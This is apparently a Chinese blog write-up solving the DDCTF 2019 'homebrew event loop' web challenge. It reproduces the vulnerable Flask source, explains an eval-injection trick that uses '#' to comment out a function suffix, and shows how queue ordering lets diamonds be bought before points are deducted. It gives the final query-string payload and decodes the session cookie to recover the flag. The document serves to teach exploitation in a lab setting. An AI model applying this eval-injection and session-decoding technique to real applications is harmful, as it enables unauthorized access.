0%

DDCTF 2019 homebrew event loop

有点意思的一道代码审计题

先简单串烧一下一些基本知识点


python文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event): //trigger_event:标识触发事件,取值为 INSERT、UPDATE 或 DELETE;
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')


0X01 开始代码审计 😓

  • 首先我们从路由入手,然后我们慢慢去看它调用了哪些函数,这里只用了一个路由

1

2

  • 当我们看到第81行就知道,querystring = urllib.unquote(request.query_string) 接收url? 后面的所有的值,然后进行url编码,传入参数querystring

3

接着有个判断条件

1
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100
  • 结合上面,如果没有传递任何参数为空或者不是以action开头
1
(not querystring.startswith('action:')
  • 又或者上传参数长度大于100
1
or len(querystring) > 100
  • 那么就会进入条件判断语句,强化初始化参数
1
querystring = 'action:index;False#False'

后面的内容就是我们买钻石的网站,我们先盲猜一下 num_items 是我们买东西的清单,如果我们什么都没买,就是初始化session中的列表

1
2
3
session['num_items'] = 0
session['points'] = 3
session['log'] = []

从现在来看,之前的一切都是在为我们买东西做准备,接收了我们的参数以后,如果我们没有买东西,就是我们初步登录的这个界面,将我们一切东西初始化。重点是下面三个

4


request.prev_session = dict(session) 这把刚刚初始化的session用字典的形式传给了这个参数到了90行,我们看到了一个函数 trigger_event ,我们在vscode上面跟进这个函数

5

可以看到,实际上**trigger_event的形参event** 就是我们刚刚获得url?后面的字符串 querystring 。并且将它加入到

session['log'] 这个日志

问题来了,下面两个if语句,是什么意思呢?

  • 第一个

    7

举个例子6 ,也就是要后面5个,前面都不要了

  • 第二个

8

如果我们刚刚传入的参数也就是url?后面的字符串是列表类型,就合并。这两个列表 request.event_queue 和 **event**合并在一起。可能有人会问 request.event_queue 是什么,就在前面才定义 😢

9

这个时候,你也许会问,它之前在路由定义的,现在函数里面能用吗?可以,因为它是全局变量,即使函数没有声明,也可以使用。 * 顺便说一下,列表也是可以合并的,a=[1,5] b=[3,4,5] a+b=[1,3,4,5,5] *

如果没有进行第二个if条件判断,就执行 request.event_queue.append(event) 加入到这个列表当中。


这个时候我们来看91行的return返回函数 return execute_event_loop() ,我们在vscode上面跟进函数

10

首先初始化设置了两个参数

1
2
3
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None

进入while循环吗,我们再来想一下request.enent_queque是什么东西?

11

也就是我们url?后面的字符串,加入到这个列表中。以后不会再重复了


while循环一进来就是这个

12

就是将我们刚刚输入的字符串的列表第一个赋值给 event ,然后删除了第一个值,因为第一个值已经给了 event ,然后删除了第一个值,因为第一个值已经给了 event ,没必要留着

13

if not event.startswith(('action:', 'func:')):

如果我们第一个字符串开头不是 action func ,就进入if判断语句继续。下一个for循环一次检验 event 中有没有字符,,可能有人忘了 valid_event_chars: 是什么…

14


重点来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

这个开头 is_action = event[0] == 'a' 作用是什么,我们还不知道,先放着

下面两个我们可以看到有同一个函数 get_mid_str

​ ** action = get_mid_str(event, ':', ';') **

args = get_mid_str(event, action+';').split('#')

在vscode里面跟进这个函数

15

这个函数的大概作用是

16

action 是由实际作用,因为 **eval ** 函数会用到,args函数不知道有啥用,大佬的wp是:返回列表到args里,所以很明显,我们上传的参数就是action开头,才能上传过来

大佬的wp更直观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

def ACTION_handler():pass

event = 'action:ACTION;ARGS0#ARGS1#ARGS2'
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
print '[!] action:',action
args = get_mid_str(event, action+';').split('#')
print '[!] args:',args
event_handler = eval(action + ('_handler' if is_action else '_function'))
print '[!] event_handler:',event_handler

看到第九行我们的event是这个样子,我们运行会得到什么?

1
2
3
[!] action: ACTION
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <function ACTION_handler at 0x00000000035A4B38>

event_handler 函数就是用 eval 拼接,从而得到了处理函数, eveal ** 函数的本质就是将字符串str当成有效的表达式来求职并且返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意使用代码注入,不过由于 ARGS 使用 # 进行分割,而# ** 在python代码中是注释符,在 action 中加入#,可以把后面的 _handler 注释掉。上面的代码用 event = 'action:str#;ARGS0#ARGS1#ARGS2' 进行测试

1
2
3
[!] action: str#
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <type 'str'>

其他没啥分析,我们找到可以控制的点

我们去找找如何得到falg(因为我们有eval执行函数)

我们看到FLAG函数是不带参数

17

现在,我们可以控制 event_handler 运行指定的函数,不过还有一个问题是FLAG()函数是不带参数,而 args 为**list** ,直接传入 action:FLAG ,将产生报错

为什么其他参数不行?

18

这里是参数args的

那么没办法,只好分析源码,我们发现 show_flag_function 是没办法得到falg,因为return flag 被注释掉了,只是将它放到flag中。想要得到flag只能用**get_flag_handler()**可以得到flag,而得到flag的条件是是 if session['num_items'] >= 5: ,于是我们进入题目界面,去买钻石💎,发现最多买3个,不能买5个以及5个以上。我们看一下买钻石的函数

19

发现存在逻辑漏洞:就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

我们发现第148行,无论我们的钱够不够,都先给我们加上,之后再扣掉

若让 eval() 去执行 trigger_event() ,并且在后面跟两个命令作为参数,分别是 buyget_flag ,那么**buy**和 **get_flag **便先后进入队列。

根据顺序会先执行 buy_handler() ,此时 consume_point 进入队列,排在 get_flag 之后,我们的目标达成。


我们构造plyadload

1
2
action:trigger_event%23;action:buy;5%23action:get_flag;

23

我们把得到的session放到KALI里面的flask-session-cookie-manager-master进行解密

1
python3 flask_session_cookie_manager3.py decode -c 'session'

24

25

func:show_flag;flag{d07646de-b436-4966-ad68-fd2fc9d9764f} ❣️ ❣️ ❣️ ❣️ ​

欢迎关注我的其它发布渠道